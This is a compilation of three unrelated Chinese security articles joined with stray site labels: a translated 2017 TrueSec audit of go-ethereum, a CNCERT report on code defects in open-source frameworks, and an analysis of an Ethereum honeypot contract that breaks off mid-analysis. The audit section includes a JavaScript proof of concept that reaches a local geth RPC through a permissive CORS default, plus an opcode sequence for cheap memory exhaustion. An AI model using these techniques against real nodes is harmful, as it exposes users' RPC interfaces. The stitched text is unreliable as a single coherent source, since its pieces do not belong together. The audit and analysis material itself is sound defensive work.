`TrueSec`在2017年4月对[以太坊的GO语言](https://ethereum.github.io/go-ethereum/)实现进行了代码审计。审计结果表明代码质量是比较高的，且开发者具备一定的安全意识。在审计过程中没有发现严重的安全漏洞。最严重的一个漏洞是当客户端的RPC
HTTP开启时，web浏览器同源策略的绕过。其他发现的问题并没有直接的攻击向量可供利用，报告的其他部分为通用的评论和建议。
## 1.2. 目录
### 1.2.1. P2P和网络
* 已知问题
* 内存分配过大
### 1.2.2. 交易和区块处理
* 零除风险
* 代码复杂性
### 1.2.3. IPC和RPC接口
* CORS:在HTTP RPC中默认允许所有域
### 1.2.4. Javascript引擎和API
* 伪随机数生成器的弱随机种子
### 1.2.5. EVM实现
* 滥用`intPool`导致廉价的内存消耗
* 在挖矿区块中脆弱的负值保护
### 1.2.6. 杂项
* 在挖矿代码中的条件竞争
* 许多第三方依赖
## 1.3. 结果细节
### 1.3.1. P2P和网络
`TrueSec`对`p2p`和网络部分的代码进行了审计，主要关注：
* 安全的通道实现 - 握手和共享`secrets`的实现
* 安全的通道属性 - 保密性和完整性
* 消息的序列化
* 节点发现
* 对于DOS的防范：超时和消息大小限制
`TrueSec`还通过[go-fuzz](https://github.com/dvyukov/go-fuzz/)对RLP解码进行fuzz，没有发现节点崩溃的现象。
#### 1.3.1.1. 已知问题
虽然`共享secrets`在`encryption handshake`中实现得比较好，但是由于在对称加密算法中的`two-time-pad`缺陷，使得通道缺乏保密性。这个是已知的问题。(详情参考`https://github.com/ethereum/devp2p/issues/32`和`https://github.com/ethereum/go-ethereum/issues/1315`)。由于现在通道只传输公开的区块链数据，这个问题暂时不必解决。
另外一个一直存在的问题是在安全的通道等级(在以太坊开发者讨论中提到过一个默认的基于时间的重放保护机制)中缺乏`重放保护`。`TrueSec`建议协议的下一个版本通过控制消息数量来实现`重放保护`。
#### 1.3.1.2. 内存分配过大
在`rlpx.go`, `TrueSec`发现两个用户可控的，过大的内存分配。`TrueSec`没有发现可以利用的DOS情景，但是建议恰当地对其进行验证。
当读取协议消息时，`16.8MB`大小的内存可以被分配:
func (rw *rlpxFrameRW) ReadMsg() (msg Msg, err error) {
...
fsize := readInt24(headbuf)
// ignore protocol type for now
// read the frame content
var rsize = fsize // frame size rounded up to 16 byte boundary
if padding := fsize % 16; padding > 0 {
rsize += 16 - padding
}
// TRUESEC: user-controlled allocation of 16.8MB:
framebuf := make([]byte, rsize)
...
}
由于以太坊协议中，对消息大小的最大值定义为`10MB`,`TrueSec`推荐内存分配也定义为相同大小。
在`encryption handshake`过程中，可以给握手信息分配`65KB`大小内存。
func readHandshakeMsg(msg plainDecoder, plainSize int,
prv *ecdsa.PrivateKey, r io.Reader) ([]byte, error) {
...
// Could be EIP-8 format, try that.
prefix := buf[:2]
size := binary.BigEndian.Uint16(prefix)
if size < uint16(plainSize) {
return buf, fmt.Errorf("size underflow, need at least ...")
}
// TRUESEC: user-controlled allocation of 65KB:
buf = append(buf, make([]byte, size-uint16(plainSize)+2)...)
...
}
除非握手消息确实包含`65KB`大小的数据，`TrueSec`建议对握手消息的大小作限制。
### 1.3.2. 交易和区块处理
`TrueSec`对交易和区块下载，区块处理的部分进行了代码审计，主要关注:
* 由内存分配，`gorountine泄露`和`IO操作`导致的拒绝服务
* 同步问题
#### 1.3.2.1. 零除风险
在Go中，除以零会导致一个`panic`。在`downloader.go`的`qosReduceConfidence`方法中，是否出现零除取决于调用者正确调用:
func (d *Downloader) qosReduceConfidence() {
peers := uint64(d.peers.Len())
...
// TRUESEC: no zero-check of peers here
conf := atomic.LoadUint64(&d.rttConfidence) * (peers - 1) / peers
...
}
`TrueSec`没有发现可以导致节点崩溃的利用方式，但是仅仅依赖调用者来保证`d.peers.Len()`不为零是不安全的。`TrueSec`建议所有非常数的被除数应该在进行除法之前进行检查。
#### 1.3.2.2. 代码复杂性
`TrueSec`发现交易和区块处理的代码部分相对其他部分代码来说更加复杂，更难阅读和审计。这部分的方法相对更大，在`fetcher.go`,`downloader.go`
和`blockchain.go`中有超过200行的代码。同步的实现有时候会结合互斥锁和通道消息。比如说，结构体`Downloader`定义需要60行代码，包含3个互斥锁和11个通道。
难以阅读和理解的代码是滋生安全问题的肥沃土壤。特别是`eth`包中存在一些代码量大的方法，结构体，接口与扩展的互斥锁和通道。`TrueSec`建议花一些功夫重构和简化代码，来防止未来安全问题的发生。
### 1.3.3. IPC和RPC接口
`TrueSec`对IPC和RPC(HTTP和Websocket)接口进行了审计，关注于潜在的访问控制问题，从公共API提权到私有API(admin,
debug等)的问题。
#### 1.3.3.1. CORS:在默认的HTTP RPC里允许所有域
`HTTP
RPC`接口可以通过`geth`的`--rpc`参数开启。这会启动一个web服务器，用于监听8545端口的HTTP请求，且任何人都可以对其进行访问。由于潜在暴露端口的可能性(比如连接到不可信的网络)，默认只有公共API允许HTTP
RPC接口。
同源策略和默认的跨域资源共享(CORS)配置限制了web浏览器的访问，并且限制通过XSS攻击RPC API的可能性。`allowed
origins`能够通过`--rpccorsdomain "domain"`来配置，也可以通过逗号分隔来配置多个域名`-- rpccorsdomain
"domain1,domain2"`，或者配置`为--rpccorsdomain
"*"`,使得所有的域都可以通过标准web浏览器访问。如果没有进行配置，CORS头将不会被设置——并且浏览器不会允许跨域请求。如图1
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at
http://localhost:8545/. (Reason: CORS header 'Access-Control-Allow-Origin missing').
图1: 由于缺少CORS头，`Firefox`禁止跨域请求
但是，在[commit 5e29f4b](https://github.com/ethereum/go-ethereum/commit/5e29f4be935ff227bbf07a0c6e80e8809f5e0202)中(从2017年4月12日开始)——同源策略可以被绕过，RPC可以从web浏览器被访问。
HTTP RPC的CORS配置被改变为处理`allowed origins`的字符数组——而不是在内部作为一个单引号分隔的字符串传输。
在此之前，逗号分隔的字符串被分成一个数组，在实例化`cors`中间件之前(请见Listing 1)。with默认值(防用户没有显性配置任何设置时，如使用--rpccorsdomain)空字符串，这会导致一个字符数组包含一个空字符串。
在`commit 5e29f4b`之后，默认值是一个空的数组，这个数组传递给位于`newCorsHandler`的中间件`cors`(请见 Listing
2)。
`cors`中间件随后检查`allowed origins`数组的长度(请见 Listing
3)。如果长度为0，在这里即代表空数组，[cors中间件](https://github.com/rs/cors)将会变成默认值并且允许所有域。
这个问题可以通过运行`geth -rpc`来复现，不需要指定任何`allowed origins`,并检查`commit
5e29f4b`前后带有`OPTION`请求的CORS头。第二个输出的`Access-Control-Allow-Origin`值得注意。
注意即使是改变之前，这里也是这样。如果不是因为字符串分割导致在`cors`没有解释输入值(一个数组包含一个空字符串)为空。
这个问题可以通过下面的`JavaScript`代码来利用，从任意域来执行(甚至可以是本地文件系统，即无效或者null origin)
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8545", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE && xhr.status == 200) {
console.log("Modules: " + xhr.responseText);
}
}
xhr.send('{"jsonrpc":"2.0","method":"rpc_modules","params":[],"id":67}')
`TrueSec`建议将CORS的默认配置进行显性的限制，(如将`allowed
origin`设置为`localhost`,或根本不设置CORS头)，而不是依赖外界来选择一个正常(安全)的默认设置
165 func newCorsHandler(srv *Server, corsString string) http.Handler {
166 var allowedOrigins []string
167 for _, domain := range strings.Split(corsString, ",") {
168 allowedOrigins = append(allowedOrigins, strings.TrimSpace(domain))
169 }
170 c := cors.New(cors.Options{
171 AllowedOrigins: allowedOrigins,
172 AllowedMethods: []string{"POST", "GET"},
173 MaxAge: 600,
174 AllowedHeaders: []string{"*"},
175 })
176 return c.Handler(srv)
177 }
Listing 1: rpc/http.go, before commit 5e29f4be935ff227bbf07a0c6e80e8809f5e0202
164 func newCorsHandler(srv *Server, allowedOrigins []string) http.Handler {
165 c := cors.New(cors.Options{
166 AllowedOrigins: allowedOrigins,
167 AllowedMethods: []string{"POST", "GET"},
168 MaxAge: 600,
169 AllowedHeaders: []string{"*"},
170 })
171 return c.Handler(srv)
172 }
Listing 2: rpc/http.go, after commit 5e29f4be935ff227bbf07a0c6e80e8809f5e0202
113 // Allowed Origins
114 if len(options.AllowedOrigins) == 0 {
115 // Default is all origins
116 c.allowedOriginsAll = true
117 }
Listing 3: vendor/github.com/rs/cors/cors.go
$ curl -i -X OPTIONS
-H "Access-Control-Request-Method: POST"
-H "Access-Control-Request-Headers: content-type"
-H "Origin: foobar" http://localhost:8545
HTTP/1.1 200 OK
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Date: Tue, 25 Apr 2017 08:49:10 GMT
Content-Length: 0
Content-Type: text/plain; charset=utf-8
Listing 4: CORS headers before commit 5e29f4b
$ curl -i -X OPTIONS
-H "Access-Control-Request-Method: POST"
-H "Access-Control-Request-Headers: content-type"
-H "Origin: foobar" http://localhost:8545
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: foobar
Access-Control-Max-Age: 600
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Date: Tue, 25 Apr 2017 08:47:24 GMT
Content-Length: 0
Content-Type: text/plain; charset=utf-8
Listing 5: CORS headers after commit 5e29f4b
### 1.3.4. JavaScript引擎和API
JavaScript引擎[otto](https://github.com/robertkrimen/otto)是Go
Ethereum中的CLI脚本接口，一个IPC/RPC接口的终端交互解释器，也是私有`debug API`的一部分。考虑到其代码有限，在审计中优先级比较低。
#### 1.3.4.1. 伪随机数生成的弱随机数种子
在`jsre`中对伪随机数生成器进行初始化的时候，如果`crypto/rand`(`crypto/rand`返回密码学安全地伪随机数)方法失败，随机数种子将会依赖于当时的UNIX时间。在listing
6中，这个弱随机数种子将会被用于初始化`math/rand`的实例。
这个`PRNG`没有被用于任何敏感信息，而且显然也不应该被用作于密码学安全的`RNG`,但是由于用户可以通过命令行运行脚本来使用`PRNG`，使其失败而不是制造出弱随机数种子显然是更安全的。从`crypto/rand`中得到错误意味着其他地方可能也存在问题。即使是得到了安全的随机数种子，在文档中也应该指出`PRNG`并不是密码学安全的。
84 // randomSource returns a pseudo random value generator.
85 func randomSource() *rand.Rand {
86 bytes := make([]byte, 8)
87 seed := time.Now().UnixNano() // 不是完全随机
88 if _, err := crand.Read(bytes); err == nil {
89 seed = int64(binary.LittleEndian.Uint64(bytes))
90 }
91
92 src := rand.NewSource(seed)
93 return rand.New(src)
94 }
Listing 6: internal/jsre/jsre.go
### 1.3.5. 以太坊虚拟机(EVM)的实现
`TrueSec`对以太坊虚拟机(EVM)部分的代码进行了审计，主要关注由滥用内存分配和IO操作而引起的拒绝服务。EVM解释器(runtime/fuzz.go)存在一个`go-fuzz`的入口点，这个入口点成功地被使用。`TrueSec`确认了其功能性，但是在fuzzing过程中没有发现有影响的漏洞。
#### 1.3.5.1. 滥用intPool导致的廉价的内存消耗
由于性能的原因，在EVM的执行过程中，使用大整数会进入整数池`intPool`(intpool.go)。由于没有对整数池大小进行限制，使用特定的`opcode`组合，将导致意外出现廉价使用内存的情况。
0 JUMPDEST // 1 gas
1 COINBASE // 2 gas
2 ORIGIN // 2 gas
3 EQ // 3 gas, puts 20 + 20 bytes on the intpool
4 JUMP // 8 gas, puts 4-8 bytes on the intpool
比如说，合约代码将会消耗3.33e9单位的gas(在当时大约价值3300USD)，分配10G内存给`intPool`。以太坊虚拟机中分配10GB内存的预期`gas`成本是1.95e14(大约195,000,000USD)
当`intPool`产生`out of memory
panic`时，会导致拒绝服务攻击。但是共识算法对`gaslimit`进行了限制，能够阻止该拒绝服务攻击的发生。但是考虑到攻击者可能发现一种更有效的填充`intPool`的方式，或者`gaslimit
target`增长过于迅速等，`TrueSec`仍然推荐对`intPool`的大小进行限制。
#### 1.3.5.2. 在挖矿区块中脆弱的负值保护
账户之间以太坊的转账是通过`core/evm.go`里的`Transfer`方法进行的。
func Transfer(db vm.StateDB, sender, recipient common.Address, amount *big.Int) {
db.SubBalance(sender, amount)
db.AddBalance(recipient, amount)
}
输入`amount`是一个指向有符号类型的指针，可能存在负的引用值。一个负的`amount`将会把以太坊从收款方转移到转账方，使得转账方可以从收款方那里盗窃以太坊。
当接收到一个没有被打包的交易时，将会验证交易的值是否为正。如`tx_pool.go, validateTx()`:
if tx.Value().Sign() < 0 {
return ErrNegativeValue
}
但是在区块处理过程中却不存在这样显性的验证；存在负值的交易只是隐性地被`p2p`序列化格式(RLP)阻止，而RLP不能解码负值。假设一个邪恶的矿工为了非法获取以太坊，发布了具有负值交易的区块，这时依赖于特定的序列化格式来提供保护，似乎有些脆弱。`TrueSec`推荐在区块处理过程中也显性地检查交易的值。或者使用无符号类型来强制指定交易的值为正。
### 1.3.6. 杂项
#### 1.3.6.1. 在挖矿代码中的条件竞争
`TrueSec`使用"-race"来构建标志位，并通过`Go`语言内置的条件竞争探测特性来寻找条件竞争。在`ethash/ethash.go`中发现了一个与在挖矿时使用的`ethash
datasets`时间戳相关的条件竞争。
func (ethash *Ethash) dataset(block uint64) []uint32 {
epoch := block / epochLength
// If we have a PoW for that epoch, use that
ethash.lock.Lock()
...
current.used = time.Now() // TRUESEC: race
ethash.lock.Unlock()
// Wait for generation finish, bump the timestamp and finalize the cache
current.generate(ethash.dagdir, ethash.dagsondisk, ethash.tester)
current.lock.Lock()
current.used = time.Now()
current.lock.Unlock()
...
}
为了去除条件竞争，通过使用`current.lock`互斥锁可以保护第一个`current.used`的设置。
`TrueSec`没有研究条件竞争是否会对节点的挖矿造成影响。
#### 1.3.6.2. 过多第三方依赖
`Go Ethereum`依赖于71个第三方包(通过`govendor list +vend`列举)
由于每个依赖都可能引入新的攻击向量，并且需要时间和精力来监控安全漏洞，`TrueSec`总是建议将第三方包的数量控制到最小。
71个依赖对任何一个项目来说都是比较多的。`TrueSec`推荐以太坊开发者调研是否所有的依赖都是真正需要的，或者说其中一些是否可以用代码来替代。
## 1.4. 附录
### 1.4.1. 声明
我们努力提供准确的翻译，可能有些部分不太准确，部分内容不太重要并没有进行翻译，如有需要请参见原文。
### 1.4.2. 原文地址
<https://github.com/ethereum/go-ethereum/blob/master/docs/audits/2017-04-25_Geth-audit_Truesec.pdf>
### 1.4.3. 参考链接
参考项目 | URL地址
---|---
go ethereum | <https://ethereum.github.io/go-ethereum/>
go fuzz | <https://github.com/dvyukov/go-fuzz/>
commit 5e29f4 | <https://github.com/ethereum/go-ethereum/commit/5e29f4be935ff227bbf07a0c6e80e8809f5e0202>
cors中间件 | <https://github.com/rs/cors>
otto | <https://github.com/robertkrimen/otto> | 社区文章 |
# 开源软件源代码安全缺陷分析报告 —— 框架类软件专题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，CNCERT发布了《开源软件代码安全缺陷分析报告——框架类软件专题》。本期报告聚焦国内外知名框架类开源软件安全开发现状，通过多款知名框架类开源软件产品的安全缺陷，评估开源项目的代码安全控制情况。360代码卫士团队为本期报告提供了技术支持。以下是报告全文：
## 1、概述
随着软件技术飞速发展，开源软件已在全球范围内得到了广泛应用。数据显示，99%的组织在其IT系统中使用了开源软件。开源软件的代码一旦存在安全问题，必将造成广泛、严重的影响。为了解开源软件的安全情况，为了解开源软件的安全情况，CNCERT持续对广泛使用的知名开源软件进行源代码安全缺陷分析，并发布季度安全缺陷分析报告。
本期报告聚焦国内外知名框架类开源软件安全开发现状，通过多款知名框架类开源软件产品的安全缺陷，评估开源项目的代码安全控制情况。选取关注度高的开源项目，结合缺陷扫描工具和人工审计的结果，对各开源项目安全性进行评比。
## 2、被测开源框架
综合考虑用户数量、受关注程度以及更新频率等情况，选取了20款具有代表性的框架类软件。表1列出了本次被测的开源框架类软件项目的概况。本次检测的软件涵盖了C，C++，Java，PHP等编程语言。这些开源软件项目都是国际、国内知名的，拥有广泛用户的软件项目，其中不乏由知名软件公司开发的软件。由于这些软件大多具有巨大的用户群体，软件中的安全缺陷很可能会造成严重的后果。
表1 被测开源软件项目概览
## 3、测试内容
### **3.1、安全缺陷种类**
本次测试涵盖各类常见安全缺陷。根据缺陷形成的原因、被利用的可能性、造成的危害程度和解决的难度等因素进行综合考虑，可以将常见的安全缺陷分为八类：
**1、输入验证与表示（Input Validation and Representation）**
输入验证与表示问题通常是由特殊字符、编码和数字表示所引起的，这类问题的发生是由于对输入的信任所造成的。这些问题包括：缓冲区溢出、跨站脚本、SQL注入、命令注入等。
**2、API误用（API Abuse)**
API是调用者与被调用者之间的一个约定，大多数的API误用是由于调用者没有理解约定的目的所造成的。当使用API不当时，也会引发安全问题。
**3、安全特性（Security Features）**
该类别主要包含认证、访问控制、机密性、密码使用和特权管理等方面的缺陷。
**4、时间和状态（Time and State）**
分布式计算与时间和状态有关。线程和进程之间的交互及执行任务的时间顺序往往由共享的状态决定，如信号量、变量、文件系统等。与分布式计算相关的缺陷包括竞态条件、阻塞误用等。
**5、错误和异常处理缺陷（Errors）**
这类缺陷与错误和异常处理有关，最常见的一种缺陷是没有恰当的处理错误（或者没有处理错误）从而导致程序运行意外终止，另一种缺陷是产生的错误给潜在的攻击者提供了过多信息。
**6、代码质量问题（Code Quality）**
低劣的代码质量会导致不可预测的行为。对于攻击者而言，低劣的代码使他们可以以意想不到的方式威胁系统。常见的该类别缺陷包括死代码、空指针解引用、资源泄漏等。
**7、封装和隐藏缺陷（Encapsulation）**
合理的封装意味着区分校验过和未经检验的数据，区分不同用户的数据，或区分用户能看到和不能看到的数据等。常见的缺陷包括隐藏域、信息泄漏、跨站请求伪造等。
**8、代码运行环境的缺陷（Environment）**
该类缺陷是源代码之外的问题，例如运行环境配置问题、敏感信息管理问题等，它们对产品的安全仍然是至关重要的。
前七类缺陷与源代码中的安全缺陷相关，它们可以成为恶意攻击的目标，一旦被利用会造成信息泄露、权限提升、命令执行等严重后果。最后一类缺陷描述实际代码之外的安全问题，它们容易造成软件的运行异常、数据丢失等严重问题。
### **3.2、安全缺陷级别**
我们将源代码的安全问题分为三种级别：高危（High）、中等（Medium）和低（Low）。衡量级别的标准包括两个维度，置信程度（confidence）和严重程度（severity）。置信程度是指发现的问题是否准确的可能性，比如将每个strcpy函数调用都标记成缓冲区溢出缺陷的可信程度很低。严重程度是指假设测试技术真实可信的情况下检出问题的严重性，比如缓冲区溢出通常是比变量未初始化更严重的安全问题。将这两个因素综合起来可以准确的为安全问题划分级别，如图1所示。
图1 缺陷级别与严重程度、置信程度的关系
## 4、开源框架类软件项目的安全缺陷情况
本部分首先展示从被测项目中检出安全缺陷的数量，由此对被测项目的安全性进行大致的评估。然后进一步讨论被测项目中安全缺陷的分布情况，了解项目中出现较多的、容易被忽略的安全问题。
### **4.1、安全缺陷情况概览**
本部分展示被测项目查出缺陷的数量，由此对被测项目的安全性进行大致的评估。图2分别展示了项目不同级别缺陷的数量，并按照高危缺陷数量对项目进行了排序，图中用蓝色折线图展示了每千行包含缺陷数
。
图2 开源软件项目缺陷情况
从中可以看出，本次选取的框架类开源软件都存在不同程度的安全问题。本次检测从这些项目中总计发现高危缺陷234个，中危缺陷105个。缺陷数量排名靠前的项目处于极易被攻击者利用的状态，实际使用者需通过安装补丁或者更新版本的方式进行修复和升级。
在所有被测软件中，中高危缺陷总数最多的是框架类开源软件Biojava，包含107个高危缺陷和21个中危缺陷。值得一提的是，这128个高中危缺陷包括路径遍历、资源未释放、XML外部实体注入等缺陷，一旦有恶意攻击者进行攻击或者恶意构造数据，可能导致非授权访问敏感目录、拒绝服务攻击等严重问题。此外，Java微框架
Jodd总体风险也较高，包含33个高危缺陷和17个中危缺陷，高中危缺陷中大多数为跨站脚本、权限绕过，这类问题同样可能被恶意攻击者利用，导致非授权访问、拒绝服务攻击等严重问题。
全部被测软件中，两款开源框架软件Wafer和Server_Framework虽然每千行代码缺陷较高，但由于这两款软件本身代码行数也较小，所以认为统计分析的指标性意义并不大。
### **4.2、高危安全缺陷分布情况**
本部分对高危缺陷的分布情况进行分析说明。图3展示了被测项目中高危缺陷大类的分布情况。数据表明，大多数缺陷为“输入验证”类缺陷，该类缺陷主要是由于对用户输入未做充分验证导致的，易造成缓冲区溢出、路径遍历、跨站脚本及各类注入问题，一旦攻击者构造恶意输入，可能造成任意命令执行、任意文件读取等严重安全问题。
图3 被测项目中高危安全缺陷的分布情况
（按大类划分）
“安全特性”类缺陷也占据了一定份额，这类缺陷主要涵盖身份认证、数据加密等方面的问题，攻击者可利用该类缺陷实现越权访问，窃取隐私信息等。根据此次检测结果，多个软件存在“不安全的随机数”问题，这将严重降低软件抵御加密攻击的能力。
图4进一步展示了被测项目中的各种具体的高危安全缺陷的分布情况。为方便展示，将出现不超过5次的缺陷统一归入“其他”，主要包括空指针解引用、API误用等问题。在被测的20个项目中，出现较多的几类缺陷是路径遍历（19%，43个）、访问说明符操纵（18%，42个）和XML外部实体注入（16%，38个）。下面对这三种缺陷进行简要说明，并给出防范建议。
图4 被测项目中高危安全缺陷的分布情况
（按具体缺陷划分）
**1）路径遍历（属于输入验证与表示类缺陷）**
危害：应用程序对用户可控制的输入未经合理校验，就传送给文件访问API。攻击者可能会使用一些特殊的字符（如“..”和“/”）摆脱受保护的限制，访问一些受保护的文件或目录。
防范：严格验证用户的输入，建议创建合法资源名的列表，并规定用户只能访问其中的文件。
**2）访问说明符操纵（属于输入验证与表示类缺陷）**
危害：程序员可以绕过由java访问说明符提供的接入控制检查，导致程序私有字段、私有方法和行为被反向调用，可能产生未授权的命令执行等严重安全隐患。
防范：对访问说明符进行合理的权限限制。
**3）XML外部实体注入（属于代码注入缺陷）**
危害：攻击者通过引入构造恶意内容的外部实体，可导致读取任意文件、执行系统命令，从而达到提权，获取敏感信息的目的。
防范：验证所有输入数据，有效检测攻击。
### **4.3、安全缺陷总体分布情况**
上文针对被测项目中的高危缺陷的检出情况对项目的安全状况进行了分析。通常来说，与高危缺陷相比，中危缺陷在实际运行环境中的危害相对较小，但仍不容忽视，且能在一定程度上反映出项目的代码质量、开发人员对代码安全问题的重视程度等。为了更全面的了解被测项目的安全状况，本节进一步展示包括中危缺陷在内的安全缺陷的总体分布情况。
图5展示了被测项目中安全缺陷大类的分布情况。与高危级别的缺陷分布情况相比，输入验证类、资源管理类、安全特性类缺陷仍然占比较大。其中，资源管理类缺陷问题通常是由于开发者遗漏了对系统资源的释放处理导致的，例如，流资源未释放，产生竞价条件等。与输入验证类问题相比，这类问题被直接用于发动攻击的可能性较小，但仍然会造成性能降低、程序不稳定等风险，严重情况下也会导致系统运行异常、甚至系统崩溃。
图5 被测项目中的中高危安全缺陷的分布情况
（按大类划分）
图6进一步展示了被测项目中的各种具体的中高危安全缺陷的分布情况。本次检测结果中有24种出现不超过10次的缺陷，如“文件包含”、“操纵设置”等，为方便展示，将其统一归入“其他”。在被测的20个项目中，出现较多的缺陷是是路径遍历（14%，47个）、资源流未释放（14%，46个）和访问说明符操纵（12%，42个）。下面对这几种缺陷进行简要说明，并给出防范建议。
图6 被测项目中的中高危安全缺陷的分布情况
（按具体安全缺陷种类划分）
**1）路径遍历（属于输入验证与表示类缺陷）**
危害：应用程序对用户可控制的输入未经合理校验，就传送给文件访问API。攻击者可能会使用一些特殊的字符（如“..”和“/”）摆脱受保护的限制，访问一些受保护的文件或目录。
防范：严格验证用户的输入，建议创建合法资源名的列表，并规定用户只能访问其中的文件。
**2）资源流未释放（属于资源管理类缺陷）**
危害：应用程序未释放申请的资源，可能导致程序运行效率低下、资源耗尽等安全问题。
防范：提高代码编写质量，及时释放使用完毕的资源。
**3）访问说明符操纵（属于输入验证与表示类缺陷）**
危害：程序员可以绕过由java访问说明符提供的接入控制检查，导致程序私有字段、私有方法和行为被反向调用，可能产生未授权的命令执行等严重安全隐患。
防范：对访问说明符进行合理的权限限制。
## 关于本报告的说明
一、本报告仅从代码角度进行缺陷分析。本报告中统计的缺陷是指由于代码编写不规范导致的有可能被攻击者利用的安全隐患。在实际系统中，由于软件实际部署环境、安全设备等的限制，部分缺陷可能无法通过渗透测试得到验证。
二、本报告中的缺陷仅适用于表1中列出的特定软件版本。当软件版本有任何更新、修改和优化时，本报告不再适用。
三、本报告由360代码卫士团队提供部分技术支持。
审核：遗忘 编辑：彩云 | 社区文章 |
一篇以前写的文，现在修改补充了些许，发了上来
## 前言
以太坊中的智能合约蜜罐相对于互联网蜜罐的目的有着本质的区别：后者着重在于诱导攻击,然后做检测分析，来收集攻击手法与漏洞；而前者更像是一场赌博的骗局，利用种种方法，诱导目标转账进入合约，完成韭菜收割。但是这个蜜罐的名词也是挺恰当的，就也这么叫了。
有趣的是智能合约蜜罐其目标锁定在智能合约开发者，智能合约代码审计人员，略懂区块链技术的信息安全人员(emmmm)
通常而言智能合约蜜罐的欺骗性在于区块链漏洞，逻辑漏洞；又或是赌博合约。
此处介绍的是利用第三方组件导致的智能合约蜜罐。
## 智能合约蜜罐的奇特组件——区块链浏览器
蜜罐合约地址：[0xcEA86636608BaCB632DfD1606A0dC1728b625387](https://etherscan.io/address/0xcEA86636608BaCB632DfD1606A0dC1728b625387)
我们可以通过Etherscan浏览器看到该合约的外部交易，内部调用，代码，代码abi等信息
### 智能合约代码分析
先来看关键的智能合约代码
pragma solidity ^0.4.20;
contract QUESTION
{
//玩家 输入答案字符串开始玩游戏
function Play(string _response)
external
payable
{
//需要该玩家地址不为智能合约地址
require(msg.sender == tx.origin);
//如果答案的sha256哈希=答案hash 并且 传入的押金超过1ether
if(responseHash == keccak256(_response) && msg.value>1 ether)
{
//给该玩家转账该智能合约所有的钱
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
//开始游戏，传入题目和答案的字符串
function StartGame(string _question,string _response)
public
payable
{
//如果答案hash没有被赋值
if(responseHash==0x0)
{
//计算sha256赋值答案hash
responseHash = keccak256(_response);
//赋值题目字符串
question = _question;
//赋值题目发送者的地址，为调用者的地址
questionSender = msg.sender;
}
}
function StopGame()
public
payable
{
//需要调用者等于题目发送者
require(msg.sender==questionSender);
//给调用者转账所有eth
msg.sender.transfer(this.balance);
}
//更新一个新的问题，传入题目字符串，答案hash
function NewQuestion(string _question, bytes32 _responseHash)
public
payable
{
//需要调用者等于题目发送者
require(msg.sender==questionSender);
//更新题目
question = _question;
//更新答案hash
responseHash = _responseHash;
}
//该智能合约fallback函数可以接受钱
function() public payable{}
}
很简单的一个合约，大致就是猜答案:hash符合就给所有钱
这是明显存在漏洞的智能合约：
1. 在区块链上的交易调用都是可见的，我们可以在区块链浏览器中看到（相当于是默认允许中间人攻击的监听）。在Etherscan中可以直接解密。而在函数的StartGame函数中，response是直接明文传入然后再进行hash存储，即问题设置的答案完全可以被知道
2. Play()只允许由用户账户调用，而不允许由合约账户调用（require(msg.sender == tx.origin);）。这意味着当答题者发布交易调用Play()，问题的部署者可能会在交易池中一直监听。当监听到Play()交易时，问题部署者用更高的gasprice提交newQuestion函数去修改答案。从而使答题者的答案错误，完成欺骗。但是这种攻击较为繁琐，也具有一定风险。
也有一些奇怪的地方。
**疑点1** ：
* NewQuestion(string _question, bytes32 _responseHash)是用responseHash设置答案。
* StartGame(string _question,string _response)却是用respon明文设置答案
既然有函数知道用responseHash传入，也就代表着开发者应该是意识到了这个问题。这里是故意为之还是萌新犯蠢？
**疑点2** ：
* if(responseHash==0x0) 其他地方用require作为异常抛出，唯独这里用if做判断，将会不抛出异常。代码风格有点不统一。
### Etherscan区块链浏览器上的交易分析
由于这是一个已经收网成功的蜜罐合约，我们队区块链浏览器上已经产生的交易进行分析，看看这个蜜罐钓鱼的过程。
Etherscan上的交易记录：[0xCEA86636608BACB632DFD1606A0DC1728B625387](https://etherscan.io/address/0xCEA86636608BACB632DFD1606A0DC1728B625387)
包括：4个外部交易，1个内部交易
> 在2020.02.14去看Etherscan，会发现交易不会直接帮我们解析出调用过程的参数，但是可以用下面介绍了另一种方法得到解析。
**按照时间线排序分析**
外部交易0xf9f25d... 0x8F1F6FEb78BA90ad003E1B7408caA164aD90830d地址创建合约(创建合约)
外部交易0x41365... 创建者使用交易调用合约函数Startgame(),带上1.03Ether（部署问题和答案，从结果来看，这应该是一个抛饵行为）
外部交易0xcb589e... 受害者使用交易调用合约函数Play(),没有value，即没有带钱（受害者试探，由于没有带钱是不会通过if判断的）
外部交易0x8486f4...
受害者使用交易调用合约函数Play(),带上1.05Ether的钱（受害者上钩，提交了1Ether以上的钱，讲道理按照逻辑这里应该获得合约返回的亲，但是并没有这笔交易）
内部调用0xb68f60...
合约把所有钱转账给了另一个合约0x4B2838d9326bD5126F0573D9b5c71C0626Ab28f2（创建者收网，暴露出了一个合约地址）
我们得到两个地址，我们给他取个别名：
钓鱼者：0x8F1F6FEb78BA90ad003E1B7408caA164aD90830d
还引出了一个奇怪的创建者收网用的智能合约：
钓鱼中间合约：0x4B2838d9326bD5126F0573D9b5c71C0626Ab28f2
总体流程总结如下：
### 尝试分析中间智能合约
尝试在Etherscan中查看[0x4B2838d9326bD5126F0573D9b5c71C0626Ab28f2](https://etherscan.io/address/0x4b2838d9326bd5126f0573d9b5c71c0626ab28f2#internaltx)钓鱼中间合约
发现该智能合约源码不公开，由0x78d39cDf39e80498237BC330e752DaBd8f90AC2f（从转钱结果推断，取名为钓鱼者小号）进行创建，并且该地址对钓鱼中间合约进行了几次调用。就触发了0xcEA86636608BaCB632DfD1606A0dC1728b625387（钓鱼合约）给该中间智能合约转钱。
但是拥有钓鱼合约源码的我们可以知道，只有对合约的Stopgame()函数产生调用，该智能合约才会对外转钱。中间合约肯定调用了钓鱼合约，才导致钓鱼合约会给中间合约转钱
其中一定有一些我们通过区块链浏览器看不见的调用在发生。
而钓鱼合约运行不在我们预期之内，就是因为这些看不见的调用。
### 寻找缺失的版图
四处寻找有没有能显示这些预计之外的调用的区块链浏览器。
